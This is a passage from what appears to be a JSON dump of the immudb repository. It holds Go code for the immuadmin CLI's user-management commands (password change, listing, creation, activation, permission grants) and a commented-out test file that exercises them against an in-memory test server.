cl.immuClient.ChangePassword(cl.context, []byte(username), oldpassword, newpass); err != nil {\n\t\treturn \"\", nil, err\n\t}\n\treturn fmt.Sprintf(\"%s's password has been changed\", username), newpass, nil\n}\n\nfunc (cl *commandline) checkPassword(cmd *cobra.Command, newpass string) error {\n\tif err := auth.IsStrongPassword(string(newpass)); err == nil {\n\t\treturn nil\n\t}\n\n\tc.PrintfColorW(cmd.OutOrStdout(), c.Yellow, \"%s.\\nDo you want to continue with your password instead? [Y/n]\\n\", unsecurePasswordMsg)\n\n\tselected, err := cl.terminalReader.ReadFromTerminalYN(\"n\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif selected != \"y\" {\n\t\treturn errors.New(\"unable to change password\")\n\t}\n\treturn nil\n}\n\nfunc (cl *commandline) userList(args []string) (string, error) {\n\tuserlist, err := cl.immuClient.ListUsers(cl.context)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tusers := userlist.GetUsers()\n\tusersAndPermissions := make([][]string, 0, len(users))\n\tmaxColWidths := make([]int, 6)\n\tfor _, user := range users {\n\t\trow := make([]string, 6)\n\t\tpermissions := user.GetPermissions()\n\t\trow[0] = string(user.GetUser())\n\t\trow[1] = fmt.Sprintf(\"%t\", user.GetActive())\n\t\tif len(permissions) > 0 {\n\t\t\trow[2] = permissions[0].Database\n\t\t\trow[3] = permissionToString(permissions[0].Permission)\n\t\t}\n\t\trow[4] = user.Createdby\n\t\trow[5] = user.Createdat\n\t\tupdateMaxLen(maxColWidths, row)\n\t\tusersAndPermissions = append(usersAndPermissions, row)\n\t\t// extra rows for other dbs and permissions\n\t\tif len(permissions) > 1 {\n\t\t\tfor i := 1; i < len(permissions); i++ {\n\t\t\t\trow := make([]string, 6)\n\t\t\t\trow[2] = permissions[i].Database\n\t\t\t\trow[3] = permissionToString(permissions[i].Permission)\n\t\t\t\tusersAndPermissions = append(usersAndPermissions, row)\n\t\t\t\tupdateMaxLen(maxColWidths, row)\n\t\t\t}\n\t\t}\n\t}\n\tvar b bytes.Buffer\n\tw := bufio.NewWriter(&b)\n\tc.PrintTable(\n\t\tw,\n\t\t[]string{\n\t\t\tfmt.Sprintf(\"% -*s\", maxColWidths[0], \"User\"),\n\t\t\tfmt.Sprintf(\"% -*s\", maxColWidths[1], \"Active\"),\n\t\t\tfmt.Sprintf(\"% -*s\", maxColWidths[2], \"Database\"),\n\t\t\tfmt.Sprintf(\"% -*s\", maxColWidths[3], \"Permission\"),\n\t\t\tfmt.Sprintf(\"% -*s\", maxColWidths[4], \"Created By\"),\n\t\t\tfmt.Sprintf(\"% -*s\", maxColWidths[5], \"Created At\"),\n\t\t},\n\t\tlen(usersAndPermissions),\n\t\tfunc(i int) []string { return usersAndPermissions[i] },\n\t\tfmt.Sprintf(\"%d user(s)\", len(users)),\n\t)\n\tw.Flush()\n\treturn b.String(), nil\n}\n\nfunc updateMaxLen(maxs []int, strs []string) {\n\tfor i, str := range strs {\n\t\tif len(str) > maxs[i] {\n\t\t\tmaxs[i] = len(str)\n\t\t}\n\t}\n}\n\nfunc permissionToString(permission uint32) string {\n\tswitch permission {\n\tcase auth.PermissionAdmin:\n\t\treturn \"Admin\"\n\tcase auth.PermissionSysAdmin:\n\t\treturn \"System Admin\"\n\tcase auth.PermissionR:\n\t\treturn \"Read\"\n\tcase auth.PermissionRW:\n\t\treturn \"Read/Write\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"unknown: %d\", permission)\n\t}\n}\n\nfunc (cl *commandline) userCreate(cmd *cobra.Command, args []string) (string, error) {\n\tusername := args[0]\n\tpermissionStr := args[1]\n\tvar databasename string\n\tif len(args) == 3 {\n\t\tdatabasename = args[2]\n\t}\n\n\t// validations\n\tusernameTaken, err := userExists(cl.context, cl.immuClient, username)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif usernameTaken {\n\t\treturn \"\", fmt.Errorf(\"User %s already exists\", username)\n\t}\n\tif databasename != \"\" {\n\t\texistingDb, err := dbExists(cl.context, cl.immuClient, databasename)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tif !existingDb {\n\t\t\treturn \"\", fmt.Errorf(\"Database %s does not exist\", databasename)\n\t\t}\n\t}\n\tpermission, err := permissionFromString(permissionStr)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tpass, err := cl.passwordReader.Read(fmt.Sprintf(\"Choose a password for %s:\", username))\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Error Reading Password\")\n\t}\n\n\tif err := cl.checkPassword(cmd, string(pass)); err != nil {\n\t\treturn \"\", err\n\t}\n\tpass2, err := cl.passwordReader.Read(\"Confirm password:\")\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Error Reading Password\")\n\t}\n\tif !bytes.Equal(pass, pass2) {\n\t\treturn \"\", fmt.Errorf(\"Passwords don't match\")\n\t}\n\n\terr = cl.immuClient.CreateUser(cl.context, []byte(username), pass, permission, databasename)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn fmt.Sprintf(\"Created user %s\", username), nil\n}\n\nfunc (cl *commandline) setActiveUser(args []string, active bool) (string, error) {\n\tusername := args[0]\n\terr := cl.immuClient.SetActiveUser(cl.context, &schema.SetActiveUserRequest{\n\t\tActive:   active,\n\t\tUsername: username,\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn \"User status changed successfully\", nil\n}\n\nfunc (cl *commandline) setUserPermission(args []string) (resp string, err error) {\n\tvar permissionAction schema.PermissionAction\n\tswitch args[0] {\n\tcase \"grant\":\n\t\tpermissionAction = schema.PermissionAction_GRANT\n\tcase \"revoke\":\n\t\tpermissionAction = schema.PermissionAction_REVOKE\n\tdefault:\n\t\treturn \"\", fmt.Errorf(\"wrong permission action. Only grant or revoke are allowed. Provided: %s\", args[0])\n\t}\n\tusername := args[1]\n\tpermission, err := permissionFromString(args[2])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdbname := args[3]\n\treturn \"\", cl.immuClient.ChangePermission(cl.context, permissionAction, username, dbname, permission)\n}\n\nfunc userExists(\n\tctx context.Context,\n\timmuClient client.ImmuClient,\n\tusername string,\n) (bool, error) {\n\texistingUsers, err := immuClient.ListUsers(ctx)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tfor _, eu := range existingUsers.GetUsers() {\n\t\tif string(eu.GetUser()) == username {\n\t\t\treturn true, nil\n\t\t}\n\t}\n\treturn false, nil\n}\n\nfunc dbExists(\n\tctx context.Context,\n\timmuClient client.ImmuClient,\n\tdbName string,\n) (bool, error) {\n\texistingDBs, err := immuClient.DatabaseList(ctx)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tfor _, db := range existingDBs.GetDatabases() {\n\t\tif db.GetDatabaseName() == dbName {\n\t\t\treturn true, nil\n\t\t}\n\t}\n\treturn false, nil\n}\n\nfunc permissionFromString(permissionStr string) (uint32, error) {\n\tvar permission uint32\n\tswitch permissionStr {\n\tcase \"read\":\n\t\tpermission = auth.PermissionR\n\tcase \"admin\":\n\t\tpermission = auth.PermissionAdmin\n\tcase \"readwrite\":\n\t\tpermission = auth.PermissionRW\n\tdefault:\n\t\treturn 0, fmt.Errorf(\n\t\t\t\"Permission %s not recognized: allowed permissions are read, readwrite, admin\",\n\t\t\tpermissionStr)\n\t}\n\treturn permission, nil\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/user_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\n/*\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"io/ioutil\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/cmd/immuclient/immuclienttest\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc TestUserList(t *testing.T) {\n\tbs := servertest.NewBufconnServer(server.DefaultOptions().WithAuth(true).WithInMemoryStore(true))\n\tbs.Start()\ndefer bs.Stop()\n\n\tpr := &immuclienttest.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}\n\tctx := context.Background()\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\tcliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr)\n\n\tclientb, _ := client.NewImmuClient(cliopt)\n\ttoken, err := clientb.Login(ctx, []byte(\"immudb\"), []byte(\"immudb\"))\n\trequire.NoError(t, err)\n\tmd := metadata.Pairs(\"authorization\", token.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\tcmdl := commandline{\n\t\toptions:        cliopt,\n\t\timmuClient:     clientb,\n\t\tpasswordReader: pr,\n\t\tcontext:        ctx,\n\t}\n\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.user(cmd)\n\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"user\", \"list\"})\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tusrcmd := cmd.Commands()[0]\n\tusrcmd.PersistentPreRunE = nil\n\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"immudb\")\n}\n\nfunc TestUserListErrors(t *testing.T) {\n\timmuClientMock := &clienttest.ImmuClientMock{}\n\tcl := &commandline{\n\t\timmuClient: immuClientMock,\n\t}\n\n\terrListUsers := errors.New(\"list users error\")\n\timmuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) {\n\t\treturn nil, errListUsers\n\t}\n\t_, err := cl.userList(nil)\n\trequire.ErrorIs(t, err, errListUsers)\n\n\timmuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) {\n\t\treturn &schema.UserList{\n\t\t\tUsers: []*schema.User{\n\t\t\t\t&schema.User{\n\t\t\t\t\tUser: []byte(\"immudb\"),\n\t\t\t\t\tPermissions: []*schema.Permission{\n\t\t\t\t\t\t&schema.Permission{Database: \"*\", Permission: auth.PermissionSysAdmin},\n\t\t\t\t\t},\n\t\t\t\t\tCreatedby: \"immudb\",\n\t\t\t\t\tCreatedat: time.Now().String(),\n\t\t\t\t\tActive:    true,\n\t\t\t\t},\n\t\t\t\t&schema.User{\n\t\t\t\t\tUser: []byte(\"user1\"),\n\t\t\t\t\tPermissions: []*schema.Permission{\n\t\t\t\t\t\t&schema.Permission{Database: \"db2\", Permission: auth.PermissionAdmin},\n\t\t\t\t\t\t&schema.Permission{Database: \"db3\", Permission: auth.PermissionR},\n\t\t\t\t\t\t&schema.Permission{Database: \"db4\", Permission: auth.PermissionRW},\n\t\t\t\t\t\t&schema.Permission{Database: \"db5\", Permission: 999},\n\t\t\t\t\t},\n\t\t\t\t\tCreatedby: \"immudb\",\n\t\t\t\t\tCreatedat: time.Now().String(),\n\t\t\t\t\tActive:    true,\n\t\t\t\t},\n\t\t\t},\n\t\t}, nil\n\t}\n\tresp, err := cl.userList(nil)\n\trequire.NoError(t, err)\n\trequire.Contains(t, resp, \"unknown: 999\")\n}\n\nfunc TestUserChangePassword(t *testing.T) {\n\tbs := servertest.NewBufconnServer(server.DefaultOptions().WithAuth(true).WithInMemoryStore(true))\n\tbs.Start()\ndefer bs.Stop()\n\n\tpr := &immuclienttest.PasswordReader{\n\t\tPass: []string{\"immudb\", \"MyUser@9\", \"MyUser@9\"},\n\t}\n\n\tctx := context.Background()\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\n\tcliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr)\n\n\tclientb, _ := client.NewImmuClient(cliopt)\n\ttoken, err := clientb.Login(ctx, []byte(\"immudb\"), []byte(\"immudb\"))\n\trequire.NoError(t, err)\n\tmd := metadata.Pairs(\"authorization\", token.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\tcmdl := commandline{\n\t\toptions:        cliopt,\n\t\timmuClient:     clientb,\n\t\tpasswordReader: pr,\n\t\tcontext:        ctx,\n\t}\n\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.user(cmd)\n\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"user\", \"changepassword\", \"immudb\"})\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tusrcmd := cmd.Commands()[0]\n\tusrcmd.PersistentPreRunE = nil\n\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"immudb's password has been changed\")\n}\n\nfunc TestUserChangePasswordErrors(t *testing.T) {\n\tpwReaderMock := &clienttest.PasswordReaderMock{}\n\timmuClientMock := &clienttest.ImmuClientMock{}\n\tcl := &commandline{\n\t\tpasswordReader: pwReaderMock,\n\t\timmuClient:     immuClientMock,\n\t}\n\n\tusername := \"user1\"\n\toldPass := []byte(\"Oldpa$$1\")\n\n\tpwReaderMock.ReadF = func(string) ([]byte, error) {\n\t\treturn nil, errors.New(\"password read error\")\n\t}\n\t_, _, err := cl.changeUserPassword(username, oldPass)\n\trequire.EqualError(t, err, \"Error Reading Password\")\n\n\tpwReaderMock.ReadF = func(string) ([]byte, error) {\n\t\treturn []byte(\"weakpass\"), nil\n\t}\n\t_, _, err = cl.changeUserPassword(username, oldPass)\n\trequire.Equal(\n\t\tt,\n\t\terrors.New(\"password does not meet the requirements. It must contain upper and lower case letters, digits, punctuation mark or symbol\"),\n\t\terr)\n\n\tpwReadCounter := 0\n\tgoodPass1 := []byte(\"GoodPass1!\")\n\tpwReaderMock.ReadF = func(string) ([]byte, error) {\n\t\tpwReadCounter++\n\t\tif pwReadCounter == 1 {\n\t\t\treturn goodPass1, nil\n\t\t}\n\t\treturn nil, errors.New(\"password read 2 error\")\n\t}\n\t_, _, err = cl.changeUserPassword(username, oldPass)\n\trequire.EqualError(t, err, \"Error Reading Password\")\n\n\tpwReadCounter = 0\n\tpwReaderMock.ReadF = func(string) ([]byte, error) {\n\t\tpwReadCounter++\n\t\tif pwReadCounter == 1 {\n\t\t\treturn goodPass1, nil\n\t\t}\n\t\treturn []byte(\"GoodPass2!\"), nil\n\t}\n\t_, _, err = cl.changeUserPassword(username, oldPass)\n\trequire.EqualError(t, err, \"Passwords don't match\")\n\n\tpwReaderMock.ReadF = func(string) ([]byte, error) {\n\t\treturn goodPass1, nil\n\t}\n\terrChangePass := errors.New(\"Change password error\")\n\timmuClientMock.ChangePasswordF = func(context.Context, []byte, []byte, []byte) error {\n\t\treturn errChangePass\n\t}\n\t_, _, err = cl.changeUserPassword(username, oldPass)\n\trequire.ErrorIs(t, err, errChangePass)\n\n\timmuClientMock.ChangePasswordF = func(context.Context, []byte, []byte, []byte) error {\n\t\treturn nil\n\t}\n\tresp, newPass, err := cl.changeUserPassword(username, oldPass)\n\trequire.NoError(t, err)\n\trequire.Equal(t, fmt.Sprintf(\"%s's password has been changed\", username), resp)\n\trequire.Equal(t, string(goodPass1), string(newPass))\n}\n\nfunc TestUserCreate(t *testing.T) {\n\tbs := servertest.NewBufconnServer(server.DefaultOptions().WithAuth(true).WithInMemoryStore(true))\n\tbs.Start()\ndefer bs.Stop()\n\n\tpr := &immuclienttest.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}\n\tctx := context.Background()\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\n\tcliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr)\n\n\tclientb, _ := client.NewImmuClient(cliopt)\n\ttoken, err := clientb.Login(ctx, []byte(\"immudb\"), []byte(\"immudb\"))\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", token.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\tpr = &immuclienttest.PasswordReader{\n\t\tPass: []string{\"MyUser@9\", \"MyUser@9\"},\n\t}\n\tcmdl := commandline{\n\t\toptions:        cliopt,\n\t\timmuClient:     clientb,\n\t\tpasswordReader: pr,\n\t\tcontext:        ctx,\n\t}\n\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.user(cmd)\n\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"user\", \"create\", \"newuser\", \"readwrite\", \"defaultdb\"})\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tusrcmd := cmd.Commands()[0]\n\tusrcmd.PersistentPreRunE = nil\n\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"Created user newuser\")\n}\n\nfunc TestUserCreateErrors(t *testing.T) {\n\tpwReaderMock := &clienttest.PasswordReaderMock{}\n\timmuClientMock := &clienttest.ImmuClientMock{}\n\tcl := &commandline{\n\t\tpasswordReader: pwReaderMock,\n\t\timmuClient:     immuClientMock,\n\t}\n\n\terrListUsers := errors.New(\"list users error\")\n\timmuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) {\n\t\treturn nil, errListUsers\n\t}\n\tusername := \"user1\"\n\tdatabasename := \"defaultdb\"\n\tpermission := \"admin\"\n\targs := []string{username, permission, databasename}\n\t_, err := cl.userCreate(args)\n\trequire.ErrorIs(t, err, errListUsers)\n\n\timmuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) {\n\t\treturn &schema.UserList{\n\t\t\tUsers: []*schema.User{&schema.User{User: []byte(username)}},\n\t\t}, nil\n\t}\n\t_, err = cl.userCreate(args)\n\trequire.Equal(t, fmt.Errorf(\"User %s already exists\", username), err)\n\n\timmuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) {\n\t\treturn nil, nil\n\t}\n\terrListDatabases := errors.New(\"list databases error\")\n\timmuClientMock.DatabaseListF = func(context.Context) (*schema.DatabaseListResponse, error) {\n\t\treturn nil, errListDatabases\n\t}\n\t_, err = cl.userCreate(args)\n\trequire.ErrorIs(t, err, errListDatabases)\n\n\timmuClientMock.DatabaseListF = func(context.Context) (*schema.DatabaseListResponse, error) {\n\t\treturn &schema.DatabaseListResponse{\n\t\t\tDatabases: []*schema.Database{&schema.Database{Databasename: \"sysdb\"}},\n\t\t}, nil\n\t}\n\t_, err = cl.userCreate(args)\n\trequire.Equal(t, fmt.Errorf(\"Database %s does not exist\", databasename), err)\n\n\timmuClientMock.DatabaseListF = func(context.Context) (*schema.DatabaseListResponse, error) {\n\t\treturn &schema.DatabaseListResponse{\n\t\t\tDatabases: []*schema.Database{\n\t\t\t\t&schema.Database{Databasename: \"sysdb\"},\n\t\t\t\t&schema.Database{Databasename: databasename},\n\t\t\t},\n\t\t}, nil\n\t}\n\targs[1] = \"UnknownPermission\"\n\t_, err = cl.userCreate(args)\n\trequire.Equal(\n\t\tt,\n\t\tfmt.Errorf(\n\t\t\t\"Permission %s not recognized: allowed permissions are read, readwrite, admin\",\n\t\t\targs[1]), err)\n\n\targs[1] = permission\n\tpwReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\treturn nil, errors.New(\"password reading error\")\n\t}\n\t_, err = cl.userCreate(args)\n\trequire.EqualError(t, err, \"Error Reading Password\")\n\n\tpwReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\treturn []byte(\"weakpassword\"), nil\n\t}\n\t_, err = cl.userCreate(args)\n\trequire.Equal(\n\t\tt,\n\t\terrors.New(\"Password does not meet the requirements. It must contain upper and lower case letters, digits, punctuation mark or symbol\"),\n\t\terr)\n\n\tpwReadCounter := 0\n\tpwReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\tpwReadCounter++\n\t\tif pwReadCounter == 1 {\n\t\t\treturn []byte(\"$trongPass1!\"), nil\n\t\t}\n\t\treturn nil, errors.New(\"password reading error 2\")\n\t}\n\t_, err = cl.userCreate(args)\n\trequire.EqualError(t, err, \"Error Reading Password\")\n\n\tpwReadCounter = 0\n\tpwReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\tpwReadCounter++\n\t\tif pwReadCounter == 1 {\n\t\t\treturn []byte(\"$trongPass1!\"), nil\n\t\t}\n\t\treturn []byte(\"$trongPass2!\"), nil\n\t}\n\t_, err = cl.userCreate(args)\n\trequire.EqualError(t, err, \"Passwords don't match\")\n\n\terrCreateUser := errors.New(\"create user error\")\n\timmuClientMock.CreateUserF = func(context.Context, []byte, []byte, uint32, string) error {\n\t\treturn errCreateUser\n\t}\n\t_, err = cl.userCreate(args)\n\trequire.ErrorIs(t, err, errCreateUser)\n\n\timmuClientMock.CreateUserF = func(context.Context, []byte, []byte, uint32, string) error {\n\t\treturn nil\n\t}\n\tresp, err := cl.userCreate(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, fmt.Sprintf(\"Created user %s\", username), resp)\n}\n\nfunc TestUserActivate(t *testing.T) {\n\tbs := servertest.NewBufconnServer(server.DefaultOptions().WithAuth(true).WithInMemoryStore(true))\n\tbs.Start()\ndefer bs.Stop()\n\n\tpr := &immuclienttest.PasswordReader{\n\t\tPass: []string{\"immudb\", \"MyUser@9\", \"MyUser@9\"},\n\t}\n\tctx := context.Background()\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\n\tcliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr)\n\n\tclientb, _ := client.NewImmuClient(cliopt)\n\ttoken, err := clientb.Login(ctx, []byte(\"immudb\"), []byte(\"immudb\"))\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", token.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\tclientb, _ = client.NewImmuClient(cliopt)\n\terr = clientb.CreateDatabase(ctx, &schema.Database{\n\t\tDatabasename: \"mydb\",\n\t})\n\trequire.NoError(t, err)\n\terr = clientb.CreateUser(ctx, []byte(\"myuser\"), []byte(\"MyUser@9\"), auth.PermissionAdmin, \"defaultdb\")\n\trequire.NoError(t, err)\n\tcmdl := commandline{\n\t\toptions:        cliopt,\n\t\timmuClient:     clientb,\n\t\tpasswordReader: pr,\n\t\tcontext:        ctx,\n\t}\n\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.user(cmd)\n\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"user\", \"activate\", \"myuser\"})\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tusrcmd := cmd.Commands()[0]\n\tusrcmd.PersistentPreRunE = nil\n\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"User status changed successfully\")\n}\n\nfunc TestUserDeactivate(t *testing.T) {\n\tbs := servertest.NewBufconnServer(server.DefaultOptions().WithAuth(true).WithInMemoryStore(true))\n\tbs.Start()\ndefer bs.Stop()\n\n\tpr := &immuclienttest.PasswordReader{\n\t\tPass: []string{\"immudb\", \"MyUser@9\", \"MyUser@9\"},\n\t}\n\n\tctx := context.Background()\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\n\tcliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr)\n\n\tclientb, _ := client.NewImmuClient(cliopt)\n\ttoken, err := clientb.Login(ctx, []byte(\"immudb\"), []byte(\"immudb\"))\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", token.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\tclientb, _ = client.NewImmuClient(cliopt)\n\terr = clientb.CreateDatabase(ctx, &schema.Database{\n\t\tDatabasename: \"mydb\",\n\t})\n\trequire.NoError(t, err)\n\terr = clientb.CreateUser(ctx, []byte(\"myuser\"), []byte(\"MyUser@9\"), auth.PermissionAdmin, \"defaultdb\")\n\trequire.NoError(t, err)\n\tcmdl := commandline{\n\t\toptions:        cliopt,\n\t\timmuClient:     clientb,\n\t\tpasswordReader: pr,\n\t\tcontext:        ctx,\n\t}\n\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.user(cmd)\n\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"user\", \"deactivate\", \"myuser\"})\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tusrcmd := cmd.Commands()[0]\n\tusrcmd.PersistentPreRunE = nil\n\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"User status changed successfully\")\n}\n\nfunc TestUserActivateErrors(t *testing.T) {\n\timmuClientMock := &clienttest.ImmuClientMock{}\n\tcl := &commandline{\n\t\timmuClient: immuClientMock,\n\t}\n\n\terrSetActiveUser := errors.New(\"set active user error\")\n\timmuClientMock.SetActiveUserF = func(context.Context, *schema.SetActiveUserRequest) error {\n\t\treturn errSetActiveUser\n\t}\n\t_, err := cl.setActiveUser([]string{\"user1\"}, true)\n\trequire.ErrorIs(t, err, errSetActiveUser)\n}\n\nfunc TestUserPermission(t *testing.T) {\n\tbs := servertest.NewBufconnServer(server.DefaultOptions().WithAuth(true).WithInMemoryStore(true))\n\tbs.Start()\ndefer bs.Stop()\n\n\tpr := &immuclienttest.PasswordReader{\n\t\tPass: []string{\"immudb\", \"MyUser@9\", \"MyUser@9\"},\n\t}\n\n\tctx := context.Background()\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\n\tcliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr)\n\n\tclientb, _ := client.NewImmuClient(cliopt)\n\n\ttoken, err := clientb.Login(ctx, []byte(\"immudb\"), []byte(\"immudb\"))\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", token.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\tclientb, _ = client.NewImmuClient(cliopt)\n\terr = clientb.CreateDatabase(ctx, &schema.Database{\n\t\tDatabasename: \"mydb\",\n\t})\n\trequire.NoError(t, err)\n\terr = clientb.CreateUser(ctx, []byte(\"myuser\"), []byte(\"MyUser@9\"), auth.PermissionAdmin, \"defaultdb\")\n\trequire.NoError(t, err)\n\tcmdl := commandline{\n\t\toptions:        cliopt,\n\t\timmuClient:     clientb,\n\t\tpasswordReader: pr,\n\t\tcontext:        ctx,\n\t}\n\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.user(cmd)\n\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"user\", \"permission\", \"grant\", \"myuser\", \"readwrite\", \"mydb\"})\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tusrcmd := cmd.Commands()[0]\n\tusrcmd.PersistentPreRunE = nil\n\n\terr = cmd.Execute()\n\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"Permission changed successfully\")\n}\n\nfunc TestUserPermissionErrors(t *testing.T) {\n\timmuClientMock := &clienttest.ImmuClientMock{}\n\tcl := &commandline{\n\t\timmuClient: immuClientMock,\n\t}\n\n\targs := []string{\"UnknownPermissionAction\", \"user1\", \"read\", \"db1\"}\n\t_, err := cl.setUserPermission(args)\n\trequire.Equal(\n\t\tt,\n\t\tfmt.Errorf(\"wrong permission action. Only grant or revoke are allowed. Provided: %s\", args[0]),\n\t\terr)\n\n\targs[0] = \"revoke\"\n\targs[2] = \"UnknownPermission\"\n\t_, err = cl.setUserPermission(args)\n\trequire.Equal(\n\t\tt,\n\t\tfmt.Errorf(\n\t\t\t\"Permission %s not recognized: allowed permissions are read, readwrite, admin\",\n\t\t\targs[2]),\n\t\terr)\n\n\targs[2] = \"read\"\n\terrChangePermission := errors.New(\"change permission error\")\n\timmuClientMock.ChangePermissionF = func(context.Context, schema.PermissionAction, string, string, uint32) error {\n\t\treturn errChangePermission\n\t}\n\t_, err = cl.setUserPermission(args)\n\trequire.ErrorIs(t, err, errChangePermission)\n}\n*/\n"
  },
  {
    "path": "cmd/immuadmin/fips/fips.go",
